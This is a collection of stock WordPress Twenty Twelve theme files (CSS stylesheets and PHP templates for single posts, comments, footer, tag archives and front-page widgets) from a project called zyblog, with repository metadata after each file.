1.714285714rem; font-size: 13px; font-size: 0.928571429rem; line-height: 1.846153846; color: #757575; } .comments-link a, .entry-meta a { color: #757575; } .comments-link a:hover, .entry-meta a:hover { color: #21759b; } article.sticky .featured-post { border-top: 4px double #ededed; border-bottom: 4px double #ededed; color: #757575; font-size: 13px; font-size: 0.928571429rem; line-height: 3.692307692; margin-bottom: 24px; margin-bottom: 1.714285714rem; text-align: center; } .entry-content, .entry-summary, .mu_register { line-height: 1.714285714; } .entry-content h1, .comment-content h1, .entry-content h2, .comment-content h2, .entry-content h3, .comment-content h3, .entry-content h4, .comment-content h4, .entry-content h5, .comment-content h5, .entry-content h6, .comment-content h6 { margin: 24px 0; margin: 1.714285714rem 0; line-height: 1.714285714; } .entry-content h1, .comment-content h1 { font-size: 21px; font-size: 1.5rem; line-height: 1.5; } .entry-content h2, .comment-content h2, .mu_register h2 { font-size: 18px; font-size: 1.285714286rem; line-height: 1.6; } .entry-content h3, .comment-content h3 { font-size: 16px; font-size: 1.142857143rem; line-height: 1.846153846; } .entry-content h4, .comment-content h4 { font-size: 14px; font-size: 1rem; line-height: 1.846153846; } .entry-content h5, .comment-content h5 { font-size: 13px; font-size: 0.928571429rem; line-height: 1.846153846; } .entry-content h6, .comment-content h6 { font-size: 12px; font-size: 0.857142857rem; line-height: 1.846153846; } .entry-content p, .entry-summary p, .comment-content p, .mu_register p { margin: 0 0 24px; margin: 0 0 1.714285714rem; line-height: 1.714285714; } .entry-content ol, .comment-content ol, .entry-content ul, .comment-content ul, .mu_register ul { margin: 0 0 24px; margin: 0 0 1.714285714rem; line-height: 1.714285714; } .entry-content ul ul, .comment-content ul ul, .entry-content ol ol, .comment-content ol ol, .entry-content ul ol, .comment-content ul ol, .entry-content ol ul, .comment-content ol ul { margin-bottom: 0; } .entry-content ul, .comment-content ul, .mu_register ul { list-style: disc outside; } .entry-content ol, .comment-content ol { list-style: decimal outside; } .entry-content li, .comment-content li, .mu_register li { margin: 0 0 0 36px; margin: 0 0 0 2.571428571rem; } .entry-content blockquote, .comment-content blockquote { margin-bottom: 24px; margin-bottom: 1.714285714rem; padding: 24px; padding: 1.714285714rem; font-style: italic; } .entry-content blockquote p:last-child, .comment-content blockquote p:last-child { margin-bottom: 0; } .entry-content code, .comment-content code { font-family: Consolas, Monaco, Lucida Console, monospace; font-size: 12px; font-size: 0.857142857rem; line-height: 2; } .entry-content pre, .comment-content pre { border: 1px solid #ededed; color: #666; font-family: Consolas, Monaco, Lucida Console, monospace; font-size: 12px; font-size: 0.857142857rem; line-height: 1.714285714; margin: 24px 0; margin: 1.714285714rem 0; overflow: auto; padding: 24px; padding: 1.714285714rem; } .entry-content pre code, .comment-content pre code { display: block; } .entry-content abbr, .comment-content abbr, .entry-content dfn, .comment-content dfn, .entry-content acronym, .comment-content acronym { border-bottom: 1px dotted #666; cursor: help; } .entry-content address, .comment-content address { display: block; line-height: 1.714285714; margin: 0 0 24px; margin: 0 0 1.714285714rem; } img.alignleft { margin: 12px 24px 12px 0; margin: 0.857142857rem 1.714285714rem 0.857142857rem 0; } img.alignright { margin: 12px 0 12px 24px; margin: 0.857142857rem 0 0.857142857rem 1.714285714rem; } img.aligncenter { margin-top: 12px; margin-top: 0.857142857rem; margin-bottom: 12px; margin-bottom: 0.857142857rem; } .entry-content embed, .entry-content iframe, .entry-content object, .entry-content video { margin-bottom: 24px; margin-bottom: 1.714285714rem; } .entry-content dl, .comment-content dl { margin: 0 24px; margin: 0 1.714285714rem; } .entry-content dt, .comment-content dt { font-weight: bold; line-height: 1.714285714; } .entry-content dd, .comment-content dd { line-height: 1.714285714; margin-bottom: 24px; margin-bottom: 1.714285714rem; } .entry-content table, .comment-content table { border-bottom: 1px solid #ededed; color: #757575; font-size: 12px; font-size: 0.857142857rem; line-height: 2; margin: 0 0 24px; margin: 0 0 1.714285714rem; width: 100%; } .entry-content table caption, .comment-content table caption { font-size: 16px; font-size: 1.142857143rem; margin: 24px 0; margin: 1.714285714rem 0; } .entry-content td, .comment-content td { border-top: 1px solid #ededed; padding: 6px 10px 6px 0; } .site-content article { border-bottom: 4px double #ededed; margin-bottom: 72px; margin-bottom: 5.142857143rem; padding-bottom: 24px; padding-bottom: 1.714285714rem; word-wrap: break-word; -webkit-hyphens: auto; -moz-hyphens: auto; hyphens: auto; } .page-links { clear: both; line-height: 1.714285714; } footer.entry-meta { margin-top: 24px; margin-top: 1.714285714rem; font-size: 13px; font-size: 0.928571429rem; line-height: 1.846153846; color: #757575; } .single-author .entry-meta .by-author { display: none; } .mu_register h2 { color: #757575; font-weight: normal; } /* =Archives -------------------------------------------------------------- */ .archive-header, .page-header { margin-bottom: 48px; margin-bottom: 3.428571429rem; padding-bottom: 22px; padding-bottom: 1.571428571rem; border-bottom: 1px solid #ededed; } .archive-meta { color: #757575; font-size: 12px; font-size: 0.857142857rem; line-height: 2; margin-top: 22px; margin-top: 1.571428571rem; } /* =Single image attachment view -------------------------------------------------------------- */ .article.attachment { overflow: hidden; } .image-attachment div.attachment { text-align: center; } .image-attachment div.attachment p { text-align: center; } .image-attachment div.attachment img { display: block; height: auto; margin: 0 auto; max-width: 100%; } .image-attachment .entry-caption { margin-top: 8px; margin-top: 0.571428571rem; } /* =Aside post format -------------------------------------------------------------- */ article.format-aside h1 { margin-bottom: 24px; margin-bottom: 1.714285714rem; } article.format-aside h1 a { text-decoration: none; color: #4d525a; } article.format-aside h1 a:hover { color: #2e3542; } article.format-aside .aside { padding: 24px 24px 0; padding: 1.714285714rem; background: #d2e0f9; border-left: 22px solid #a8bfe8; } article.format-aside p { font-size: 13px; font-size: 0.928571429rem; line-height: 1.846153846; color: #4a5466; } article.format-aside blockquote:last-child, article.format-aside p:last-child { margin-bottom: 0; } /* =Post formats -------------------------------------------------------------- */ /* Image posts */ article.format-image footer h1 { font-size: 13px; font-size: 0.928571429rem; line-height: 1.846153846; font-weight: normal; } article.format-image footer h2 { font-size: 11px; font-size: 0.785714286rem; line-height: 2.181818182; } article.format-image footer a h2 { font-weight: normal; } /* Link posts */ article.format-link header { padding: 0 10px; padding: 0 0.714285714rem; float: right; font-size: 11px; font-size: 0.785714286rem; line-height: 2.181818182; font-weight: bold; font-style: italic; text-transform: uppercase; color: #848484; background-color: #ebebeb; border-radius: 3px; } article.format-link .entry-content { max-width: 80%; float: left; } article.format-link .entry-content a { font-size: 22px; font-size: 1.571428571rem; line-height: 1.090909091; text-decoration: none; } /* Quote posts */ article.format-quote .entry-content p { margin: 0; padding-bottom: 24px; padding-bottom: 1.714285714rem; } article.format-quote .entry-content blockquote { display: block; padding: 24px 24px 0; padding: 1.714285714rem 1.714285714rem 0; font-size: 15px; font-size: 1.071428571rem; line-height: 1.6; font-style: normal; color: #6a6a6a; background: #efefef; } /* Status posts */ .format-status .entry-header { margin-bottom: 24px; margin-bottom: 1.714285714rem; } .format-status .entry-header header { display: inline-block; } .format-status .entry-header h1 { font-size: 15px; font-size: 1.071428571rem; font-weight: normal; line-height: 1.6; margin: 0; } .format-status .entry-header h2 { font-size: 12px; font-size: 0.857142857rem; font-weight: normal; line-height: 2; margin: 0; } .format-status .entry-header header a { color: #757575; } .format-status .entry-header header a:hover { color: #21759b; } .format-status .entry-header img { float: left; margin-right: 21px; margin-right: 1.5rem; } /* =Comments -------------------------------------------------------------- */ .comments-title { margin-bottom: 48px; margin-bottom: 3.428571429rem; font-size: 16px; font-size: 1.142857143rem; line-height: 1.5; font-weight: normal; } .comments-area article { margin: 24px 0; margin: 1.714285714rem 0; } .comments-area article header { margin: 0 0 48px; margin: 0 0 3.428571429rem; overflow: hidden; position: relative; } .comments-area article header img { float: left; padding: 0; line-height: 0; } .comments-area article header cite, .comments-area article header time { display: block; margin-left: 85px; margin-left: 6.071428571rem; } .comments-area article header cite { font-style: normal; font-size: 15px; font-size: 1.071428571rem; line-height: 1.42857143; } .comments-area article header time { line-height: 1.714285714; text-decoration: none; font-size: 12px; font-size: 0.857142857rem; color: #5e5e5e; } .comments-area article header a { text-decoration: none; color: #5e5e5e; } .comments-area article header a:hover { color: #21759b; } .comments-area article header cite a { color: #444; } .comments-area article header cite a:hover { text-decoration: underline; } .comments-area article header h4 { position: absolute; top: 0; right: 0; padding: 6px 12px; padding: 0.428571429rem 0.857142857rem; font-size: 12px; font-size: 0.857142857rem; font-weight: normal; color: #fff; background-color: #0088d0; background-repeat: repeat-x; background-image: -moz-linear-gradient(top, #009cee, #0088d0); background-image: -ms-linear-gradient(top, #009cee, #0088d0); background-image: -webkit-linear-gradient(top, #009cee, #0088d0); background-image: -o-linear-gradient(top, #009cee, #0088d0); background-image: linear-gradient(top, #009cee, #0088d0); border-radius: 3px; border: 1px solid #007cbd; } .comments-area li.bypostauthor cite span { position: absolute; margin-left: 5px; margin-left: 0.357142857rem; padding: 2px 5px; padding: 0.142857143rem 0.357142857rem; font-size: 10px; font-size: 0.714285714rem; } a.comment-reply-link, a.comment-edit-link { color: #686868; font-size: 13px; font-size: 0.928571429rem; line-height: 1.846153846; } a.comment-reply-link:hover, a.comment-edit-link:hover { color: #21759b; } .commentlist .pingback { line-height: 1.714285714; margin-bottom: 24px; margin-bottom: 1.714285714rem; } /* Comment form */ #respond { margin-top: 48px; margin-top: 3.428571429rem; } #respond h3#reply-title { font-size: 16px; font-size: 1.142857143rem; line-height: 1.5; } #respond h3#reply-title #cancel-comment-reply-link { margin-left: 10px; margin-left: 0.714285714rem; font-weight: normal; font-size: 12px; font-size: 0.857142857rem; } #respond form { margin: 24px 0; margin: 1.714285714rem 0; } #respond form p { margin: 11px 0; margin: 0.785714286rem 0; } #respond form p.logged-in-as { margin-bottom: 24px; margin-bottom: 1.714285714rem; } #respond form label { display: block; line-height: 1.714285714; } #respond form input[type="text"], #respond form textarea { -moz-box-sizing: border-box; box-sizing: border-box; font-size: 12px; font-size: 0.857142857rem; line-height: 1.714285714; padding: 10px; padding: 0.714285714rem; width: 100%; } #respond form p.form-allowed-tags { margin: 0; font-size: 12px; font-size: 0.857142857rem; line-height: 2; color: #5e5e5e; } .required { color: red; } /* =Front page template -------------------------------------------------------------- */ .entry-page-image { margin-bottom: 14px; margin-bottom: 1rem; } .template-front-page .site-content article { border: 0; margin-bottom: 0; } .template-front-page .widget-area { clear: both; float: none; width: auto; padding-top: 24px; padding-top: 1.714285714rem; border-top: 1px solid #ededed; } .template-front-page .widget-area .widget li { margin: 8px 0 0; margin: 0.571428571rem 0 0; font-size: 13px; font-size: 0.928571429rem; line-height: 1.714285714; list-style-type: square; list-style-position: inside; } .template-front-page .widget-area .widget li a { color: #757575; } .template-front-page .widget-area .widget li a:hover { color: #21759b; } .template-front-page .widget-area .widget_text img { float: left; margin: 8px 24px 8px 0; margin: 0.571428571rem 1.714285714rem 0.571428571rem 0; } /* =Widgets -------------------------------------------------------------- */ .widget-area .widget ul ul { margin-left: 12px; margin-left: 0.857142857rem; } .widget_rss li { margin: 12px 0; margin: 0.857142857rem 0; } .widget_recent_entries .post-date, .widget_rss .rss-date { color: #aaa; font-size: 11px; font-size: 0.785714286rem; margin-left: 12px; margin-left: 0.857142857rem; } #wp-calendar { margin: 0; width: 100%; font-size: 13px; font-size: 0.928571429rem; line-height: 1.846153846; color: #686868; } #wp-calendar th, #wp-calendar td, #wp-calendar caption { text-align: left; } #wp-calendar #next { padding-right: 24px; padding-right: 1.714285714rem; text-align: right; } .widget_search label { display: block; font-size: 13px; font-size: 0.928571429rem; line-height: 1.846153846; } .widget_twitter li { list-style-type: none; } .widget_twitter .timesince { display: block; text-align: right; } /* =Plugins ----------------------------------------------- */ img#wpstats { display: block; margin: 0 auto 24px; margin: 0 auto 1.714285714rem; } /* =Media queries -------------------------------------------------------------- */ /* Minimum width of 600 pixels. */ @media screen and (min-width: 600px) { .author-avatar { float: left; margin-top: 8px; margin-top: 0.571428571rem; } .author-description { float: right; width: 80%; } .site { margin: 0 auto; max-width: 960px; max-width: 68.571428571rem; overflow: hidden; } .site-content { float: left; width: 65.104166667%; } body.template-front-page .site-content, body.single-attachment .site-content, body.full-width .site-content { width: 100%; } .widget-area { float: right; width: 26.041666667%; } .site-header h1, .site-header h2 { text-align: left; } .site-header h1 { font-size: 26px; font-size: 1.857142857rem; line-height: 1.846153846; margin-bottom: 0; } .main-navigation ul.nav-menu, .main-navigation div.nav-menu > ul { border-bottom: 1px solid #ededed; border-top: 1px solid #ededed; display: inline-block !important; text-align: left; width: 100%; } .main-navigation ul { margin: 0; text-indent: 0; } .main-navigation li a, .main-navigation li { display: inline-block; text-decoration: none; } .main-navigation li a { border-bottom: 0; color: #6a6a6a; line-height: 3.692307692; text-transform: uppercase; white-space: nowrap; } .main-navigation li a:hover { color: #000; } .main-navigation li { margin: 0 40px 0 0; margin: 0 2.857142857rem 0 0; position: relative; } .main-navigation li ul { display: none; margin: 0; padding: 0; position: absolute; top: 100%; z-index: 1; } .main-navigation li ul ul { top: 0; left: 100%; } .main-navigation ul li:hover > ul { border-left: 0; display: block; } .main-navigation li ul li a { background: #efefef; border-bottom: 1px solid #ededed; display: block; font-size: 11px; font-size: 0.785714286rem; line-height: 2.181818182; padding: 8px 10px; padding: 0.571428571rem 0.714285714rem; width: 180px; width: 12.85714286rem; white-space: normal; } .main-navigation li ul li a:hover { background: #e3e3e3; color: #444; } .main-navigation .current-menu-item > a, .main-navigation .current-menu-ancestor > a, .main-navigation .current_page_item > a, .main-navigation .current_page_ancestor > a { color: #636363; font-weight: bold; } .menu-toggle { display: none; } .entry-header .entry-title { font-size: 22px; font-size: 1.571428571rem; } #respond form input[type="text"] { width: 46.333333333%; } #respond form textarea.blog-textarea { width: 79.666666667%; } .template-front-page .site-content, .template-front-page article { overflow: hidden; } .template-front-page.has-post-thumbnail article { float: left; width: 47.916666667%; } .entry-page-image { float: right; margin-bottom: 0; width: 47.916666667%; } .template-front-page .widget-area .widget, .template-front-page.two-sidebars .widget-area .front-widgets { float: left; width: 51.875%; margin-bottom: 24px; margin-bottom: 1.714285714rem; } .template-front-page .widget-area .widget:nth-child(odd) { clear: right; } .template-front-page .widget-area .widget:nth-child(even), .template-front-page.two-sidebars .widget-area .front-widgets + .front-widgets { float: right; width: 39.0625%; margin: 0 0 24px; margin: 0 0 1.714285714rem; } .template-front-page.two-sidebars .widget, .template-front-page.two-sidebars .widget:nth-child(even) { float: none; width: auto; } .commentlist .children { margin-left: 48px; margin-left: 3.428571429rem; } } /* Minimum width of 960 pixels. */ @media screen and (min-width: 960px) { body { background-color: #e6e6e6; } body .site { padding: 0 40px; padding: 0 2.857142857rem; margin-top: 48px; margin-top: 3.428571429rem; margin-bottom: 48px; margin-bottom: 3.428571429rem; box-shadow: 0 2px 6px rgba(100, 100, 100, 0.3); } body.custom-background-empty { background-color: #fff; } body.custom-background-empty .site, body.custom-background-white .site { padding: 0; margin-top: 0; margin-bottom: 0; box-shadow: none; } } /* =Print ----------------------------------------------- */ @media print { body { background: none !important; color: #000; font-size: 10pt; } footer a[rel=bookmark]:link:after, footer a[rel=bookmark]:visited:after { content: " [" attr(href) "] "; /* Show URLs */ } a { text-decoration: none; } .entry-content img, .comment-content img, .author-avatar img, img.wp-post-image { border-radius: 0; box-shadow: none; } .site { clear: both !important; display: block !important; float: none !important; max-width: 100%; position: relative !important; } .site-header { margin-bottom: 72px; margin-bottom: 5.142857143rem; text-align: left; } .site-header h1 { font-size: 21pt; line-height: 1; text-align: left; } .site-header h2 { color: #000; font-size: 10pt; text-align: left; } .site-header h1 a, .site-header h2 a { color: #000; } .author-avatar, #colophon, #respond, .commentlist .comment-edit-link, .commentlist .reply, .entry-header .comments-link, .entry-meta .edit-link a, .page-link, .site-content nav, .widget-area, img.header-image, .main-navigation { display: none; } .wrapper { border-top: none; box-shadow: none; } .site-content { margin: 0; width: auto; } .singular .entry-header .entry-meta { position: static; } .singular .site-content, .singular .entry-header, .singular .entry-content, .singular footer.entry-meta, .singular .comments-title { margin: 0; width: 100%; } .entry-header .entry-title, .entry-title, .singular .entry-title { font-size: 21pt; } footer.entry-meta, footer.entry-meta a { color: #444; font-size: 10pt; } .author-description { float: none; width: auto; } /* Comments */ .commentlist > li.comment { background: none; position: relative; width: auto; } .commentlist .avatar { height: 39px; left: 2.2em; top: 2.2em; width: 39px; } .comments-area article header cite, .comments-area article header time { margin-left: 50px; margin-left: 3.57142857rem; } }
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/style.css
CSS
asf20
35,292
<?php /** * The Template for displaying all single posts. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); ?> <div id="primary" class="site-content"> <div id="content" role="main"> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'content', get_post_format() ); ?> <nav class="nav-single"> <h3 class="assistive-text"><?php _e( 'Post navigation', 'twentytwelve' ); ?></h3> <span class="nav-previous"><?php previous_post_link( '%link', '<span class="meta-nav">' . _x( '&larr;', 'Previous post link', 'twentytwelve' ) . '</span> %title' ); ?></span> <span class="nav-next"><?php next_post_link( '%link', '%title <span class="meta-nav">' . _x( '&rarr;', 'Next post link', 'twentytwelve' ) . '</span>' ); ?></span> </nav><!-- .nav-single --> <?php comments_template( '', true ); ?> <?php endwhile; // end of the loop. ?> </div><!-- #content --> </div><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/single.php
PHP
asf20
1,036
<?php /** * The template for displaying Comments. * * The area of the page that contains both current comments * and the comment form. The actual display of comments is * handled by a callback to twentytwelve_comment() which is * located in the functions.php file. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ /* * If the current post is protected by a password and * the visitor has not yet entered the password we will * return early without loading the comments. */ if ( post_password_required() ) return; ?> <div id="comments" class="comments-area"> <?php // You can start editing here -- including this comment! ?> <?php if ( have_comments() ) : ?> <h2 class="comments-title"> <?php printf( _n( 'One thought on &ldquo;%2$s&rdquo;', '%1$s thoughts on &ldquo;%2$s&rdquo;', get_comments_number(), 'twentytwelve' ), number_format_i18n( get_comments_number() ), '<span>' . get_the_title() . '</span>' ); ?> </h2> <ol class="commentlist"> <?php wp_list_comments( array( 'callback' => 'twentytwelve_comment', 'style' => 'ol' ) ); ?> </ol><!-- .commentlist --> <?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // are there comments to navigate through ?> <nav id="comment-nav-below" class="navigation" role="navigation"> <h1 class="assistive-text section-heading"><?php _e( 'Comment navigation', 'twentytwelve' ); ?></h1> <div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentytwelve' ) ); ?></div> <div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentytwelve' ) ); ?></div> </nav> <?php endif; // check for comment navigation ?> <?php /* If there are no comments and comments are closed, let's leave a note. * But we only want the note on posts and pages that had comments in the first place. */ if ( ! comments_open() && get_comments_number() ) : ?> <p class="nocomments"><?php _e( 'Comments are closed.' , 'twentytwelve' ); ?></p> <?php endif; ?> <?php endif; // have_comments() ?> <?php comment_form(); ?> </div><!-- #comments .comments-area -->
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/comments.php
PHP
asf20
2,167
/* Styles for older IE versions (previous to IE9). */ body { background-color: #e6e6e6; } body.custom-background-empty { background-color: #fff; } body.custom-background-empty .site, body.custom-background-white .site { box-shadow: none; margin-bottom: 0; margin-top: 0; padding: 0; } .assistive-text, .site .screen-reader-text { clip: rect(1px 1px 1px 1px); /* IE7 */ } .full-width .site-content { float: none; width: 100%; } img.size-full, img.size-large, img.header-image, img.wp-post-image, img[class*="align"], img[class*="wp-image-"], img[class*="attachment-"] { width: auto; /* Prevent stretching of full-size and large-size images with height and width attributes in IE8 */ } .author-avatar { float: left; margin-top: 8px; margin-top: 0.571428571rem; } .author-description { float: right; width: 80%; } .site { box-shadow: 0 2px 6px rgba(100, 100, 100, 0.3); margin: 48px auto; max-width: 960px; overflow: hidden; padding: 0 40px; } .site-content { float: left; width: 65.104166667%; } body.template-front-page .site-content, body.single-attachment .site-content, body.full-width .site-content { width: 100%; } .widget-area { float: right; width: 26.041666667%; } .site-header h1, .site-header h2 { text-align: left; } .site-header h1 { font-size: 26px; line-height: 1.846153846; } .main-navigation ul.nav-menu, .main-navigation div.nav-menu > ul { border-bottom: 1px solid #ededed; border-top: 1px solid #ededed; display: inline-block !important; text-align: left; width: 100%; } .main-navigation ul { margin: 0; text-indent: 0; } .main-navigation li a, .main-navigation li { display: inline-block; text-decoration: none; } .ie7 .main-navigation li a, .ie7 .main-navigation li { display: inline; } .main-navigation li a { border-bottom: 0; color: #6a6a6a; line-height: 3.692307692; text-transform: uppercase; } .main-navigation li a:hover { color: #000; } .main-navigation li { margin: 0 40px 0 0; position: relative; } .main-navigation li ul { display: none; margin: 0; padding: 0; position: absolute; top: 100%; z-index: 1; } .ie7 .main-navigation li ul { left: 0; } .main-navigation li ul ul, .ie7 .main-navigation li ul ul { top: 0; left: 100%; } .main-navigation ul li:hover > ul { border-left: 0; display: block; } .main-navigation li ul li a { background: #efefef; border-bottom: 1px solid #ededed; display: block; font-size: 11px; line-height: 2.181818182; padding: 8px 10px; width: 180px; } .main-navigation li ul li a:hover { background: #e3e3e3; color: #444; } .main-navigation .current-menu-item > a, .main-navigation .current-menu-ancestor > a, .main-navigation .current_page_item > a, .main-navigation .current_page_ancestor > a { color: #636363; font-weight: bold; } .menu-toggle { display: none; } .entry-header .entry-title { font-size: 22px; } #respond form input[type="text"] { width: 46.333333333%; } #respond form textarea.blog-textarea { width: 79.666666667%; } .template-front-page .site-content, .template-front-page article { overflow: hidden; } .template-front-page.has-post-thumbnail article { float: left; width: 47.916666667%; } .entry-page-image { float: right; margin-bottom: 0; width: 47.916666667%; } .template-front-page .widget-area .widget, .template-front-page.two-sidebars .widget-area .front-widgets { float: left; margin-bottom: 24px; width: 51.875%; } .template-front-page .widget-area .widget:nth-child(odd) { clear: right; } .template-front-page .widget-area .widget:nth-child(even), .template-front-page.two-sidebars .widget-area .front-widgets + .front-widgets { float: right; margin: 0 0 24px; width: 39.0625%; } .template-front-page.two-sidebars .widget, .template-front-page.two-sidebars .widget:nth-child(even) { float: none; width: auto; } /* =RTL overrides for IE7 and IE8 -------------------------------------------------------------- */ .rtl .site-header h1, .rtl .site-header h2 { text-align: right; } .rtl .widget-area, .rtl .author-description { float: left; } .rtl .author-avatar, .rtl .site-content { float: right; } .rtl .main-navigation ul.nav-menu, .rtl .main-navigation div.nav-menu > ul { text-align: right; } .rtl .main-navigation ul li ul li, .rtl .main-navigation ul li ul li ul li { margin-left: 40px; margin-right: auto; } .rtl .main-navigation li ul ul { position: absolute; bottom: 0; right: 100%; z-index: 1; } .ie7 .rtl .main-navigation li ul ul { position: absolute; bottom: 0; right: 100%; z-index: 1; } .ie7 .rtl .main-navigation ul li { z-index: 99; } .ie7 .rtl .main-navigation li ul { position: absolute; bottom: 100%; right: 0; z-index: 1; } .ie7 .rtl .main-navigation li { margin-right: auto; margin-left: 40px; } .ie7 .rtl .main-navigation li ul ul ul { position: relative; z-index: 1; }
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/css/ie.css
CSS
asf20
4,788
<?php /** * The sidebar containing the front page widget areas. * * If no active widgets in either sidebar, they will be hidden completely. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ /* * The front page widget area is triggered if any of the areas * have widgets. So let's check that first. * * If none of the sidebars have widgets, then let's bail early. */ if ( ! is_active_sidebar( 'sidebar-2' ) && ! is_active_sidebar( 'sidebar-3' ) ) return; // If we get this far, we have widgets. Let do this. ?> <div id="secondary" class="widget-area" role="complementary"> <?php if ( is_active_sidebar( 'sidebar-2' ) ) : ?> <div class="first front-widgets"> <?php dynamic_sidebar( 'sidebar-2' ); ?> </div><!-- .first --> <?php endif; ?> <?php if ( is_active_sidebar( 'sidebar-3' ) ) : ?> <div class="second front-widgets"> <?php dynamic_sidebar( 'sidebar-3' ); ?> </div><!-- .second --> <?php endif; ?> </div><!-- #secondary -->
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/sidebar-front.php
PHP
asf20
987
/* Theme Name: Twenty Twelve Description: Adds support for languages written in a Right To Left (RTL) direction. It's easy, just a matter of overwriting all the horizontal positioning attributes of your CSS stylesheet in a separate stylesheet file named rtl.css. See http://codex.wordpress.org/Right_to_Left_Language_Support */ body { direction: rtl; unicode-bidi: embed; } caption, th, td { text-align: right; } /* =Repeatable patterns -------------------------------------------------------------- */ /* Images */ .site-content .gallery-columns-4 .gallery-item { padding-left: 2%; padding-right: 0; } .site-content .gallery-columns-5 .gallery-item { padding-left: 2%; padding-right: 0; } /* Navigation */ .nav-previous, .previous-image { float: right; } .nav-next, .next-image { float: left; text-align: left; } /* Author profiles */ .author-avatar { float: right; } .author-description { float: right; margin-right: 15px; margin-right: 1.071428571rem; margin-left: auto; } /* =Main Content ----------------------------------------------- */ .comment-content ol, .comment-content ul { margin: 0 24px 0 0; margin: 0 1.714285714rem 0 0; } /* =Basic post styling -------------------------------------------------------------- */ .entry-content li, .comment-content li { margin: 0 24px 0 0; margin: 0 1.714285714rem 0 0; } .entry-content td, .comment-content td { padding: 6px 0 6px 10px; } /* Aside posts */ article.format-aside .aside { border-right: 22px solid #a8bfe8; border-left: none; } /* Link posts */ article.format-link header { float: left; } article.format-link .entry-content { float: right; } /* Status posts */ .format-status .entry-header img { float: right; margin-left: 21px; margin-left: 1.5rem; margin-right: 0; } /* =Comment styling -------------------------------------------------------------- */ .comments-area article header img { float: right; } .comments-area article header cite, .comments-area article header time { margin-right: 85px; margin-right: 6.071428571rem; margin-left: auto; } .comments-area article header h4 { left: 0; right: auto; } .comments-area li.bypostauthor cite span { margin-right: 5px; margin-right: 0.357142857rem; margin-left: auto; } /* Comment form */ #respond h3#reply-title #cancel-comment-reply-link { margin-right: 10px; margin-right: 0.714285714rem; margin-left: auto; } label ~ span.required { float: right; margin: -18px -16px 0 0; margin: -1.285714286rem -1.142857143rem 0 0; } /* =Front page template styling -------------------------------------------------------------- */ .template-front-page .widget-area .widget_text img { float: right; margin: 8px 0 8px 24px; margin: 0.571428571rem 0 0.571428571rem 1.714285714rem; } /* =Widget styling -------------------------------------------------------------- */ .widget-area .widget ul ul { margin-right: 12px; margin-right: 0.857142857rem; margin-left: auto; } .widget-area .textwidget li { margin-left: auto; margin-right: 36px; margin-right: 2.571428571rem; } .widget_recent_entries .post-date, .widget_rss .rss-date { margin-right: 12px; margin-right: 0.857142857rem; margin-left: auto; } #wp-calendar th, #wp-calendar td, #wp-calendar caption { text-align: right; } #wp-calendar #next { padding-left: 24px; padding-left: 1.714285714rem; text-align: left; padding-right: 0; } /* =Media queries -------------------------------------------------------------- */ /* Minimum width of 600 pixels. */ @media screen and (min-width: 600px) { .site-content, .template-front-page.has-post-thumbnail article { float: right; } .widget-area, .entry-page-image { float: left; } .site-header h1, .site-header h2 { text-align: right; } .template-front-page .widget-area .widget_text img { float: right; margin: 8px 0 8px 24px; } .template-front-page .widget-area .widget, .template-front-page.two-sidebars .widget-area .front-widgets { float: right; } .template-front-page .widget-area .widget:nth-child(odd) { clear: left; } .template-front-page .widget-area .widget:nth-child(even), .template-front-page.two-sidebars .widget-area .front-widgets + .front-widgets { float: left; margin: 0 24px 0; margin: 0 1.714285714rem 0; } .main-navigation ul.nav-menu, .main-navigation div.nav-menu > ul { text-align: right; } .main-navigation li { margin-left: 40px; margin-left: 2.857142857rem; margin-right: auto; } .main-navigation li ul ul { margin-right: 0; right: 100%; left: auto; } .main-navigation ul li:hover > ul { border-right: 0; border-left: none; } .commentlist .children { margin-right: 48px; margin-right: 3.428571429rem; margin-left: auto; } }
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/rtl.css
CSS
asf20
4,712
<?php /** * The template for displaying the footer. * * Contains footer content and the closing of the * #main and #page div elements. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ ?> </div><!-- #main .wrapper --> <footer id="colophon" role="contentinfo"> <div class="site-info"> <?php do_action( 'twentytwelve_credits' ); ?> <a href="<?php echo esc_url( __( 'http://wordpress.org/', 'twentytwelve' ) ); ?>" title="<?php esc_attr_e( 'Semantic Personal Publishing Platform', 'twentytwelve' ); ?>"><?php printf( __( 'Proudly powered by %s', 'twentytwelve' ), 'WordPress' ); ?></a> </div><!-- .site-info --> </footer><!-- #colophon --> </div><!-- #page --> <?php wp_footer(); ?> </body> </html>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/footer.php
PHP
asf20
749
<?php /** * The template for displaying Tag pages. * * Used to display archive-type pages for posts in a tag. * * Learn more: http://codex.wordpress.org/Template_Hierarchy * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); ?> <section id="primary" class="site-content"> <div id="content" role="main"> <?php if ( have_posts() ) : ?> <header class="archive-header"> <h1 class="archive-title"><?php printf( __( 'Tag Archives: %s', 'twentytwelve' ), '<span>' . single_tag_title( '', false ) . '</span>' ); ?></h1> <?php if ( tag_description() ) : // Show an optional tag description ?> <div class="archive-meta"><?php echo tag_description(); ?></div> <?php endif; ?> </header><!-- .archive-header --> <?php /* Start the Loop */ while ( have_posts() ) : the_post(); /* Include the post format-specific template for the content. If you want to * this in a child theme then include a file called called content-___.php * (where ___ is the post format) and that will be used instead. */ get_template_part( 'content', get_post_format() ); endwhile; twentytwelve_content_nav( 'nav-below' ); ?> <?php else : ?> <?php get_template_part( 'content', 'none' ); ?> <?php endif; ?> </div><!-- #content --> </section><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/tag.php
PHP
asf20
1,404